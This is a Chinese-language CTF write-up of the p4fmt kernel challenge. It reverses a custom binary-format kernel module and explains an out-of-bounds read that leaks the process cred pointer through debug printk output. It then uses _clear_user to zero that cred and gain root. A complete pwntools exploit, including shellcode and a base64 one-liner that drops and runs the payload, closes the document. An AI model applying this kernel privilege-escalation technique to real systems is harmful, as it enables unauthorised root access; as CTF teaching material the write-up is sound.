挺有意思的内核pwn

参考:https://github.com/OAlienO/OAlienO/blob/705fd61f73703eba65732abcf87cfdbf2644108a/docs/security/pwn/writeups/p4fmt.md

https://amritabi0s.wordpress.com/2019/03/19/confidence-ctf-p4fmt-write-up/

https://github.com/yuawn/CTF/tree/master/2019/confidence_teaser/p4fmt

文件:Github

p4fmt.ko

1
2
3
4
5
__int64 p4fmt_init()
{
_register_binfmt(&p4format, 1LL);
return 0LL;
}

_register_binfmt函数用来向内核注册一个可执行文件的格式,elf文件也是通过这个方法在内核中注册的

p4format是一个linux_binfmt结构体

1
2
3
4
5
6
7
8
struct linux_binfmt {
struct list_head lh;
struct module *module;
int (*load_binary)(struct linux_binprm *);
int (*load_shlib)(struct file *);
int (*core_dump)(struct coredump_params *cprm);
unsigned long min_coredump; /* minimal dump size */
} __randomize_layout;

p4format中有一个函数指针load_p4_binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
__int64 __fastcall load_p4_binary(__int64 a1)
{
signed __int64 v1; // rcx
_BYTE *v2; // rsi
signed __int64 v3; // r12
__int64 v4; // rbx
_BYTE *v5; // rdi
unsigned __int64 v6; // r14
bool v7; // cf
bool v8; // zf
__int64 v9; // r13
unsigned int v10; // ebp
char v12; // al
signed __int64 v13; // r12
signed __int64 v14; // rsi
unsigned __int64 v15; // rax
__int64 *v16; // r12
__int64 v17; // ST00_8
signed __int64 v18; // r14
unsigned __int64 v19; // r15
__int64 v20; // r9
__int64 v21; // rdx
__int64 v22; // rcx
__int64 v23; // r8

v1 = 2LL;
v2 = &unk_272; //P4
v3 = a1 + 0x48; //
v4 = a1;
v5 = (_BYTE *)(a1 + 0x48);
v6 = __readgsqword((unsigned __int64)&current_task);
v7 = 0;
v8 = 0;
v9 = *(_QWORD *)(v6 + 0x2A0);
do
{
if ( !v1 )
break;
v7 = *v2 < *v5;
v8 = *v2++ == *v5++;
--v1;
}
while ( v8 );
if ( (!v7 && !v8) != v7 )
return (unsigned int)-8;
JUMPOUT(*(_BYTE *)(v4 + 0x4A), 0, load_p4_binary_cold_2);
if ( *(_BYTE *)(v4 + 0x4B) > 1u )
return (unsigned int)-22;
v10 = flush_old_exec(v4, v2);
if ( !v10 )
{
*(_DWORD *)(v6 + 0x80) = 0x800000;
setup_new_exec(v4);
v12 = *(_BYTE *)(v4 + 0x4B);
if ( v12 )
{
if ( v12 != 1 )
return (unsigned int)-22;
if ( *(_DWORD *)(v4 + 0x4C) )
{
v16 = (__int64 *)(*(_QWORD *)(v4 + 0x50) + v3);
do
{
v17 = *v16;
v18 = *v16 & 7;
v19 = *v16 & 0xFFFFFFFFFFFFF000LL;
printk("vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n", v19, v16[1], v16[2], v18);
v20 = v16[2];
v21 = v16[1];
if ( v17 & 8 )
{
vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", *v16, v16[1], v22, v23);
_clear_user(*v16, v16[1]);
}
else
{
vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
}
++v10;
v16 += 3;
}
while ( *(_DWORD *)(v4 + 0x4C) > v10 );
}
}
else
{
v13 = -12LL;
if ( (unsigned __int64)vm_mmap(
*(_QWORD *)(v4 + 8),
*(_QWORD *)(v4 + 0x50),
4096LL,
*(_QWORD *)(v4 + 0x50) & 7LL,
2LL,
0LL) > 0xFFFFFFFFFFFFF000LL )
{
LABEL_12:
install_exec_creds(v4);
set_binfmt(&p4format);
v14 = 140737488351232LL;
v15 = __readgsqword((unsigned __int64)&current_task);
if ( *(_QWORD *)v15 & 0x20000000 )
{
v14 = 3221225472LL;
if ( !(*(_BYTE *)(v15 + 0x83) & 8) )
v14 = 4294959104LL;
}
v10 = setup_arg_pages(v4, v14, 0LL);
if ( !v10 )
{
finalize_exec(v4);
start_thread(
v9 + 16216,
v13,
*(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 256) + 40LL));
}
return v10;
}
}
v13 = *(_QWORD *)(v4 + 88);
goto LABEL_12;
}
return v10;
}

a1是一个linux_binprm格式的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct linux_binprm {
char buf[BINPRM_BUF_SIZE]; //128
#ifdef CONFIG_MMU
struct vm_area_struct *vma;
unsigned long vma_pages;
#else
# define MAX_ARG_PAGES 32
struct page *page[MAX_ARG_PAGES];
#endif
struct mm_struct *mm;
unsigned long p; /* current top of mem */
unsigned long argmin; /* rlimit marker for copy_strings() */
unsigned int
/*
* True after the bprm_set_creds hook has been called once
* (multiple calls can be made via prepare_binprm() for
* binfmt_script/misc).
*/
called_set_creds:1,
/*
* True if most recent call to the commoncaps bprm_set_creds
* hook (due to multiple prepare_binprm() calls from the
* binfmt_script/misc handlers) resulted in elevated
* privileges.
*/
cap_elevated:1,
/*
* Set by bprm_set_creds hook to indicate a privilege-gaining
* exec has happened. Used to sanitize execution environment
* and to set AT_SECURE auxv for glibc.
*/
secureexec:1;
#ifdef __alpha__
unsigned int taso:1;
#endif
unsigned int recursion_depth; /* only for search_binary_handler() */
struct file * file;
struct cred *cred; /* new credentials */
int unsafe; /* how unsafe this exec is (mask of LSM_UNSAFE_*) */
unsigned int per_clear; /* bits to clear in current->personality */
int argc, envc;
const char * filename; /* Name of binary as seen by procps */
const char * interp; /* Name of the binary really executed. Most
of the time same as filename, but could be
different for binfmt_{misc,script} */
unsigned interp_flags;
unsigned interp_data;
unsigned long loader, exec;

struct rlimit rlim_stack; /* Saved RLIMIT_STACK used during exec. */
} __randomize_layout;

因为加了__randomize_layout的缘故,编译器在编译的时候,会把结构体填充上一些随机的字段来把结构体混淆,所以以上代码中的a1+0x48是原结构体的buf字段

所以根据代码分析得到,p4类型的可执行文件的格式是这样的:

1
2
3
4
5
6
7
P | 4 | \x00 | \x00 或者 \x01 | mmap的次数 4byte |
mmap的地址相对文件的偏移 8byte,可以是0x18 |
entrypoint, 8byte |
mmap的addr,8byte |
mmap的length,8byte |
mmap的offset,8byte |
data..... |

漏洞点

漏洞点位于:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
v16 = (__int64 *)(*(_QWORD *)(v4 + 0x50) + v3);
do
{
v17 = *v16;
v18 = *v16 & 7;
v19 = *v16 & 0xFFFFFFFFFFFFF000LL;
printk("vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n", v19, v16[1], v16[2], v18);
v20 = v16[2];
v21 = v16[1];
if ( v17 & 8 )
{
vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", *v16, v16[1], v22, v23);
_clear_user(*v16, v16[1]);
}
else
{
vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
}
++v10;
v16 += 3;
}
while ( *(_DWORD *)(v4 + 0x4C) > v10 );

在这里,mmap的次数如果过大,则会导致越界读,这是因为v16是指向linux_binprm结构体的一个指针,如果次数过大,导致v16超出了结构体的buf字段,就会在中间打印调试信息的时候打印出结构体的其他项的信息

而结构体中有当前进程的cred的指针,所以我们能得到cred的地址

_clear_user函数会把mmap出来的空间清0,那如果我们把cred给mmap出来,那我们就可以完成提权了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode

context.arch = "amd64"

payload = b"P4" # magic
payload += p8(0) # version
payload += p8(1) # type
payload += p32(2) # mapping_count
payload += p64(0x18) # mapping_offset
payload += p64(0x400048) # entry

leak_cred = 0xffff9855c758c0c0

# mapping
payload += flat(
0x400000 | 7,
0x1000,
0,

(leak_cred | 8) + 0x10,
0x20,
0
)

payload += asm(shellcraft.cat("/flag") + shellcraft.exit())

print(f'echo {b64encode(payload).decode()} | base64 -d > a ; chmod +x a ; ./a')